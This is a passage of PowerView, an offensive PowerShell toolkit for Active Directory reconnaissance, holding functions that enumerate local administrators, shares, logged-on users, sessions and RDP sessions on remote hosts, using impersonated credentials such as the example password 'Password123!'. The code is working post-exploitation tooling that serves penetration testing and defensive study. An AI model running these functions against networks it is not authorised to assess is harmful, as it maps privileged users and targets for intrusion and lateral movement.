enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroupMember -Method winnt | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroup | Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN + +.EXAMPLE + +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + $Members = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } + } + } + $Members + } + else { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + try { + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member + } + } + catch { + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetShare { +<# +.SYNOPSIS + +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". + +.PARAMETER ComputerName + +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetShare + +Returns active shares on the local host. + +.EXAMPLE + +Get-NetShare -ComputerName sqlserver + +Returns active shares on the 'sqlserver' host + +.EXAMPLE + +Get-DomainComputer | Get-NetShare + +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLoggedon { +<# +.SYNOPSIS + +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +.PARAMETER ComputerName + +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetLoggedon + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-NetLoggedon -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Get-NetLoggedon + +Returns all logged on users for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetSession { +<# +.SYNOPSIS + +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetSession + +Returns active sessions on the local host. + +.EXAMPLE + +Get-NetSession -ComputerName sqlserver + +Returns active sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetSession + +Returns active sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.SessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-RegLoggedOn { +<# +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-RegLoggedOn + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-RegLoggedOn -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-RegLoggedOn + +Returns users actively logged on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost' + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' + + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } + + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetRDPSession { +<# +.SYNOPSIS + +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. + +.PARAMETER ComputerName + +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetRDPSession + +Returns active RDP/terminal sessions on the local host. + +.EXAMPLE + +Get-NetRDPSession -ComputerName "sqlserver" + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetRDPSession + +Returns active RDP/terminal sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +.LINK + +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +#> + + [OutputType('PowerView.RDPSessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Test-AdminAccess { +<# +.SYNOPSIS + +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. + +.PARAMETER ComputerName + +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] 